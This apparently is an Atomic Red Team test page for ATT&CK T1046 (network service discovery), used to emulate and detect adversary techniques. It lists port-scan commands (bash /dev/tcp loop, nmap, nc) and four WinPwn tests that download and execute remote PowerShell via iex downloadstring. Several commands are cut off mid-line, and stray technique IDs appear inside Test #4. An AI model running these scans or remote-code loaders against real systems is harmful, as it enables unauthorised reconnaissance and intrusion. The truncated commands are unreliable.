T1046 - Network Service Discovery

Description from ATT&CK

> Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)
> Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.
>
> Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host's registered services on the network. For example, adversaries can use a mDNS query (such as `dns-sd -B _ssh._tcp .`) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)

Atomic Tests

- Atomic Test #1 - Port Scan
- Atomic Test #2 - Port Scan Nmap
- Atomic Test #3 - Port Scan NMap for Windows
- Atomic Test #4 - Port Scan using python
- Atomic Test #5 - WinPwn - spoolvulnscan
- Atomic Test #6 - WinPwn - MS17-10
- Atomic Test #7 - WinPwn - bluekeep
- Atomic Test #8 - WinPwn - fruit

Atomic Test #1 - Port Scan

Scan ports to check for listening ports.

Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be

via stdout.

Supported Platforms: Linux, macOS

auto_generated_guid: 68e907da-2539-48f6-9fc9-257a78c05540

Inputs:

Name	Description	Type	Default Value
host	Host to scan.	String	192.168.1.1

Attack Commands: Run with `bash`!

```
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) &&
```

Atomic Test #2 - Port Scan Nmap

Scan ports to check for listening ports with Nmap.

Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of adresseses on port 80 to determine if listening. Results will be via stdout.

Supported Platforms: Linux, macOS

auto_generated_guid: 515942b0-a09f-4163-a7bb-22fefb6f185f

Inputs:

Name	Description	Type	Default Value
host	Host to scan.	String	192.168.1.1
port	Ports to scan.	String	80
network_range	Network Range to Scan.	String	192.168.1.0/24

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
```

Dependencies: Run with `sh`!

Description: Check if nmap command exists on the machine

Check Prereq Commands:

```
if [ -x "$(command -v nmap)" ]; then exit 0; else exit 1; fi;
```

Get Prereq Commands:

```
(which yum && yum -y install epel-release nmap)||(which apt-get && DEBIA
```

Description: Check if nc command exists on the machine

Check Prereq Commands:

```
if [ -x "$(command -v nc)" ]; then exit 0; else exit 1; fi;
```

Get Prereq Commands:

```
(which yum && yum -y install epel-release nc)||(which apt-get && DEBIAN_
```

Description: Check if telnet command exists on the machine

Check Prereq Commands:

```
if [ -x "$(command -v telnet)" ]; then exit 0; else exit 1; fi;
```



```
(which yum && yum -y install epel-release telnet)||(which apt-get && DEB
```

Atomic Test #3 - Port Scan NMap for Windows

Scan ports to check for listening ports for the local host 127.0.0.1

Supported Platforms: Windows

auto_generated_guid: d696a3cb-d7a8-4976-8eb5-5af4abf2e3df

Inputs:

Name	Description	Type	Default Value
nmap_url	NMap installer download URL	Url	https://nmap.org/dist/nmap-7.80-setup.exe
host_to_scan	The host to scan with NMap	String	127.0.0.1

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
nmap #{host_to_scan}
```

Dependencies: Run with `powershell`!

Description: NMap must be installed

Check Prereq Commands:

```
if (cmd /c "nmap 2>nul") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest -OutFile $env:temp\nmap-7.80-setup.exe #{nmap_url}
Start-Process $env:temp\nmap-7.80-setup.exe /S
```

Atomic Test #4 - Port Scan using python

Scan ports to check for listening ports with python

Supported Platforms: Windows

T1036
T1037.001
T1037.002
T1037.004
T1037.005
T1039
T1040

auto_generated_guid: 6ca45b04-9f15-4424-b9d3-84a217285a5c

Inputs:

Name	Description	Type	Default Value
host_ip	Host to scan.	String	127.0.0.1
filename	Location of the project file	Path	PathToAtomicsFolder\T1046\src\T1046.py

Attack Commands: Run with `powershell`!

```
python #{filename} -i #{host_ip}
```

Dependencies: Run with `powershell`!

Description: Check if python exists on the machine

Check Prereq Commands:

```
if (python --version) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
echo "Python 3 must be installed manually"
```

Atomic Test #5 - WinPwn - spoolvulnscan

Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 54574908-f1de-4356-9021-8053dd57439a

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercont
spoolvulnscan -noninteractive -consoleoutput
```

Atomic Test #6 - WinPwn - MS17-10

Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 97585b04-5be2-40e9-8c31-82157b8af2d6

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercont
MS17-10 -noninteractive -consoleoutput
```

Atomic Test #7 - WinPwn - bluekeep

Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).

Supported Platforms: Windows

auto_generated_guid: 1cca5640-32a9-46e6-b8e0-fabbe2384a73

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercont
bluekeep -noninteractive -consoleoutput
```

Atomic Test #8 - WinPwn - fruit

Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn

Supported Platforms: Windows

auto_generated_guid: bb037826-cbe8-4a41-93ea-b94059d6bb98

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercont
fruit -noninteractive -consoleoutput
```